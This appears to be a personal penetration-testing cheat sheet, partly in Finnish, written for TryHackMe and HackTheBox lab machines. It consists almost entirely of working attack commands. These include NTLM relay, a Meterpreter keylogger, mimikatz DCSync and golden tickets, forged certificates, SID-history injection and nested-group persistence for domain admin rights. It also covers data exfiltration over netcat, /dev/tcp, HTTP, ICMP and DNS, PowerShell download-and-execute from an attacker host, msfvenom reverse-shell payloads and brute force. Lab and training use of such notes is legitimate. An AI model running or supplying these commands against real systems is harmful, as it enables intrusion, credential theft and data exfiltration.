nmap --script=smb2-security-mode -p445 thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.loc

Exploit

python3.9 /opt/impacket/examples/ntlmrelayx.py -smb2support -t smb://"OWNED-TARGET-IP" -debug
SpoolSample.exe TARGET-DOMAIN-NAME "Attacker IP"
python3.9 ntlmrelayx.py -smb2support -t smb://"OWNED-TARGET-IP" -c 'whoami /all' -debug

Exploit users (keylogger)

Note: sometimes it's good idea to move to less privileged users instead of sticking to admin

Also, we'll be using metasploit modules for this

Find processes that user is running

ps | grep "explorer"

Migrate to process

migrate <PID>

Start keylogger

keyscan_start

Exploit GPO

Check access via Bloodhound, you can use mmc tool via RDP to access and edit GPOs

https://tryhackme.com/room/exploitingad

Inter-Realm TGTs

DOMAIN ADMIN REQUIRED

We need:

  • The KRBTGT password hash
  • The FQDN of the domain
  • The username of the account we want to impersonate
  • The Security Identifier (SID) of the domain

KRBTGT password hash

mimikatz.exe
lsadump::dcsync /user:DOMAIN\krbtgt

FQDN = fully qualified domain name

Username we can decide, domain/enterprise admin preferred

Sid of the domain

Get-ADComputer -Identity "THMDC"
Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc

Request ticket

kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:16f9af38fca3ada405386b3b57366082 /sids:S-1-5-21-3330634377-1326264276-632209373-519 /ptt

Persistence

Certificates (don't do this)

We basically create a certificate on the domain which we can use to request TGTs, basically letting us do whatever we want

Extract private key

Check certificates

Check if Issuer is the current Domain

mimikatz.exe
crypto::certificates /systemstore:local_machine
Make keys exportable by patching
mimikatz.exe
privilege::debug
crypto::capi
crypto::cng
Export
mimikatz.exe
crypto::certificates /systemstore:local_machine /export
Generate our own certificate with private key
ForgeCert.exe
 --CaCertPath ./cert.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAl
tName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPasswo
rd Password123
Verify our certificate
Rubeus.exe asktgt /user
:Administrator /enctype:aes256 /certificate:fullAdmin.pfx /password:Password123 
/outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.61.101
Authenticate
kerberos::ptt administrator.kirbi

SID History

Basically this makes low priv user a Domain Admin

Check SID history of user

Get-ADUser phillip.wilkins -properties sidhistory,memberof

Get SID of the Domain Admins

Get-ADGroup "Domain Admins"

Patch history

Stop-Service -Name ntds -force 
Add-ADDBSidHistory -SamAccountName 'phillip.wilkins' -SidHistory 'S-1-5-21-3885271727-2693558621-2658995185-512' -DatabasePath C:\Windows\NTDS\ntds.dit 
Start-Service -Name ntds

Group Memberships

Create nested ADGroup

New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 1" -SamAccountName "<username>_nestgroup1" -DisplayName "<username> Nest Group 1" -GroupScope Global -GroupCategory Security
New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 2" -SamAccountName "<username>_nestgroup2" -DisplayName "<username> Nest Group 2" -GroupScope Global -GroupCategory Security 

Add last group to domain admins group

Add-ADGroupMember -Identity "<username>_nestgroup2" -Members "<username>_nestgroup1"
Add-ADGroupMember -Identity "Domain Admins" -Members "<username>_nestgroup2"

Add user to the first group

Add-ADGroupMember -Identity "<username>_nestgroup1" -Members "<low privileged username>"

Check that it worked:

Get-ADGroupMember -Identity "Domain Admins"

Linux cheatsheet

Enum

OS

uname -a
cat /etc/os-release

users

who
whoami
last 
w

netowrk

netstat 
sudo netstat -atupn
ss

processes

Note: pspy64

ps -aux

Data transfer

Netcat style

On our machine
nc -l -p 1234 -q 1 > something.zip < /dev/null
On victim
cat something.zip | netcat server.ip.here 1234

Tcp

Send

On our machine
nc -lvp 8080 > /tmp/filename.data
On victim
tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080

Extract

dd conv=ascii if=task4-creds.data |base64 -d > task4-creds.tar
tar xvf task4-creds.tar

SSH

Note: needs ssh enabled on our machine

On victim
tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"

Http(s)

Example php web server

<?php 
if (isset($_POST['file'])) {
        $file = fopen("/tmp/http.bs64","w");
        fwrite($file, $_POST['file']);
        fclose($file);
   }
?>

Send file

curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php

Parse file

##  Fix base64 (due to url encoding on http protocol)
sudo sed -i 's/ /+/g' /tmp/http.bs64
## Extract
cat /tmp/http.bs64 | base64 -d | tar xvfz -

Tunneling

https://github.com/L-codes/Neo-reGeorg

ICMP

Traditional

Convert our data to hex
echo "thm:tryhackme" | xxd -p 
Send via ping
ping 10.10.237.11 -c 1 -p 74686d3a7472796861636b6d650a

Via metasploit and nping

Setup listener:
use auxiliary/server/icmp_exfil
set BPF_FILTER icmp and not src <IP>
Send data:
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "BOFfile.txt"
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "admin:password"
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "admin2:password2"
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "EOF"

Reverse shell

https://github.com/krabelize/icmpdoor

DNS

Note: you need to own a domain and set nameservers to direct traffic to your server!

Setup listener

sudo tcpdump -i eth0 udp port 53 -v 

Send file

cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/ | awk '{print "dig +short " $1}' | bash

Parse file

echo TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJbnRlcm5ldCwgVE.hNCkNyZWRpdCBDYXJk.OiAxMjM0LTEyMzQtMT.IzNC0xMjM0CkV4cGly.ZTogMDUvMDUvMjAyMg.pDb2RlOiAxMzM3Cg== | cut -d"." -f1-8 | tr -d "." |base64 -d

Windows

Create user and assign to group

net user zolaboo password /add /domain
net group "Exchange Windows Permissions" /add zolaboo

SMB STUFF

LIST SHARES (NULL SESSION)

smbclient -L \\10.129.1.39 -N

LOGIN SMB (NULL SESSION)

smbclient  "//10.129.1.39/Backups" -N

LIST SHARES (USER)

crackmapexec smb  10.129.1.39 -u "user" -p "password"  --shares
smbmap -d DOMAIN -u USERNAME -p PASSWORD -H IP

PASSWORD POLICY

crackmapexec smb --pass-pol IP --> password policy
Account Lockout ThreshHold: Jos none, voi kokeilla monta kertaa haluaa -> BRUTE
FORCE
Reset Account Lockout Counter: --> jos lockout threshold ei ole none, niin kertoo
"banniajan"

MOUNT SMB SHARES

sudo mount -t cifs //<vpsa_ip_address>/<export_share> /mnt/<local_share>

MOUNT VHD IMAGE

 sudo guestmount --add <vhdfile>.vhd --inspector --ro /mnt/<location> -v

SMB SHARE ON LINUX/WINDOWS

smbserver.py SHARE . -smb2support -username df -password df

#### TO SEND FILE (ON WINDOWS) net use \10.10.14.105\SHARE /u:df df

 copy FILENAME \\10.10.14.105\SHARE

#### FTP SEND FILE

   ## on attacker machine
   python3 -m pyftpdlib 21
   ## on target
   ftp xx.xx.xx.xx

WINDOWS REMOTE

BASIC

  rpcclient ip

NULL USER

rpcclient -U ''

RPCCLIENT COMMANDS

enumdomusers --> listaa käyttäjät
queryuser USERNAME --> tarkemmat tiedot
querydispinfo --> käyttäjätietoja
enumdomgroups --> hakee groupit
querygroup GROUPRID --> hakee groupin tietoja
querygroupmem GROUPID -> hakee groupin jäsenet

WINRM BRUTE FORCE

crackmapexec winrm IP -u USERNAME/FILENAME -p PASSWORD

EVIL-WINRM (SHELL)

evil-winrm -u USER -p PASSWORD -i IP

ENUM SCRIPTEJÄ

POWERSHELL

-gci -> (ls)
-gci -Hidden -> (ls -la)
 gc FILENAME (cat)
 net user (list users)
 net user USERNAME (info about user)
 [environment]::getEnvironmentVariable('PROCESSOR_ARCHITECTURE', 'machine') (arch info)
  net user bolazoo password1 /add /domain (add user)
  net group "Exchange Windows Permissions" /add bolazoo (add to group)

BLOODHOUND (IN WINDOWS)

  runas /netonly /user:active.htb\SVC_TGS cmd
  cd C:\Users\Joonas\Downloads\SharpHound3\SharpHound3\bin\Release
  SharpHound.exe -c all -d active.htb --domaincontroller 10.129.114.89

BLOODHOUND (LINUX)

cd /usr/bin
./neo4j console
cd ~/Documents/BloodHound-linux-x64$
./BloodHound --no-sandbox

AFTER BLOODHOUND (IF SUCCESS) (LINUX)

 GetUserSPNs.py -dc-ip 10.129.114.89 -request active.htb/SVC_TGS

KERBEROS ATTACK PATHS

  GetNPUsers.py -dc-ip <ip-address> -request '<domain>/' (NULL SESSION)
  GetUserSPNs.py -dc-ip <ip-address> -request <domain>/<username> (AUTH)

https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a

DOWNLOADING AND EXECUTING FILES

echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.98:8000/sherlock.ps1' ) | powershell -noprofile -
echo IEX(New-Object Net.WebClient).DownloadFile('http://10.10.14.98:8000/winPEAS.exe', 'winPEAS.exe') | powershell 
certutil -f -urlcache http://IP:PORT/filename file.exe
powershell Invoke-WebRequest -UseBasicParsing 10.10.16.8:8000/winPEASx64.exe -OutFile winPEASx64.exe

PLINK (CHISEL LIKE FOR WINDOWS)

https://medium.com/@informationsecurity/remote-ssh-tunneling-with-plink-exe-7831072b3d7d

RESPONDER (to phish hashes)

https://github.com/lgandx/Responder

LINUX

GENERAL

SHELL UPGRADE

python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
stty raw -echo
fg

CHISEL

// LOCAL
./chisel server -p 8005 -reverse -v

// TARGET
./chisel client 10.13.37.10:8005 R:1339:172.16.50.222:22

PAYLOADS

MSFVENOM

JAVA

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.98 LPORT=9001 -f raw > shell.jsp 
msfvenom -a x86 -p  windows/shell_reverse_tcp LHOST=10.10.14.98 LPORT=9005  -b '\x00\x0A\x0D' -f py 

DNS STUFF

Reveral subdomains

axfr friendzone.red @10.129.117.7

BUFFER OVERFLOW

LIBC-Adresses & offets

Libc:

ldd filename

--> See where libc is pointing to

For example after:

System offset:

  readelf -s /lib/x86_64-linux-gnu/libc.so.6 |grep system

Exit offset:

readelf -s /lib/x86_64-linux-gnu/libc.so.6 |grep exit

/bin/sh

  strings -atx /lib/x86_64-linux-gnu/libc.so.6 |grep /bin/sh